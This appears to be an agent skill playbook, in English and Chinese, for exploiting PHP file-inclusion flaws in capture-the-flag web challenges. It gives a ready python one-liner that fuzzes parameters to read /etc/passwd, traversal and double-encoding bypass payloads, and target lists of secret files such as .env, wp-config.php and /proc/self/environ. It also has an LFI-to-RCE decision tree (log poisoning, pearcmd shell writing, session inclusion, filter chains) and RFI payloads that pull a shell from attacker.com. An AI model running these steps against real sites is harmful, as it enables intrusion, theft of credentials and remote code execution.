⛔ In-Depth Reference (Must-read after confirming LFI)
- Complete log poisoning steps, PHP Wrapper, Session file inclusion, include() trap diagnosis → references/lfi-to-rce.md
- pearcmd.php exploitation, PHP Filter Chain RCE, Session race condition → also in references/lfi-to-rce.md
- LFI to RCE privilege escalation path details → references/lfi2rce-techniques.md
⛔ Phase 0: Page Discovery (Prerequisite for LFI testing!)
Before testing LFI, you must first find all accessible pages.
- Use
ffuf/sprayto scan.php/.html; when it fails, immediately downgrade to batch testing with python3 requests:
private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php,
upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php,
manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php,
phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php
- Record all pages returning 200 and non-empty → these are the LFI testing targets
Phase 1: Discover File Inclusion Points
⛔ Exit condition: an endpoint tested with 3+ parameters all show no response difference (length difference < 10 bytes) → mark "no LFI" → switch endpoint
⛔ Parameter Fuzz (one step, manual testing one by one is prohibited!)
Use Python to batch-test all common parameters (still enumerating parameters after 3+ rounds = violation):
python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]"
- When using ffuf for parameter fuzzing: the wordlist must use
Dic/web/ctf/param.txt(not a directory wordlist!) - Don't test only the file parameter: the id parameter may also have LFI
- URL encoding bypass:
..%2f、%2e%2e%2fbypass path filtering
Common parameter names: file, page, path, include, doc, template, lang, module, action, view
Test vectors:
?file=../../../etc/passwd
?file=../../../etc/passwd%00 (PHP < 5.3.4)
?file=..%252f..%252fetc%252fpasswd (双编码)
Verification method: compare response length/content with and without the parameter; a difference = parameter is valid
Phase 2: Path Traversal Testing
逐步增加 ../ 层数(通常4-7层到根目录):
?file=../../../../etc/passwd
Phase 3: Key File Reading
⛔ Dockerfile/Source Code Priority Path Rules
When a Dockerfile or application source code has been obtained:
- Extract the
WORKDIRvalue (e.g.,/var/www/html/) - Extract the flag filename (e.g.,
xbow-flag.txt) - Concatenate WORKDIR + filename as the first-priority reading path(e.g.,
/var/www/html/xbow-flag.txt) - ⛔ Prohibited to skip known paths and blindly guess
/app/flag.txt/flagetc.
Linux: /etc/passwd, /proc/self/environ, /var/log/apache2/access.log
Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config
Web application: config.php, .env, wp-config.php
Source code: php://filter/convert.base64-encode/resource=index
PHP File Inclusion Traps
- Directly including a .php file will not display the source code, only execute the code
- Need to use
php://filter/convert.base64-encode/resource=xxxto read PHP source code
Phase 4: LFI → RCE Decision Tree
⛔ Log poisoning priority trigger condition: when the task description/challenge name contains poison、log、日志 keywords,skip wrapper attempts and go directly to the log poisoning process!
LFI 确认
│ ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段)
│ ├─ 目标是 PHP + include()?
│ │ ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session)
│ │ ├─ file_exists() 不检查?→ php://input / data:// wrapper
│ │ ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain
│ │ ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行)
│ ├─ 日志投毒(最通用)
│ │ ├─ User-Agent 注入 PHP 代码
│ │ ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo
│ │ └─ 包含 /var/log/apache2/access.log 触发
│ ├─ PHP Filter Chain RCE(无需文件写入/日志/session)
│ │ └─ 用 php_filter_chain_generator.py 生成 chain
│ └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md)
Phase 5: RFI Testing
?file=http://attacker.com/shell.txt (requires allow_url_include=On) | ?file=\\attacker.com\share\shell.php (SMB/UNC)
Notes
- include() will execute PHP, file_get_contents() reads raw text — key difference
- LFI is more common than RFI (RFI requires PHP configuration to allow) | HTTP 200 + Content-Length: 0 → PHP syntax error swallowed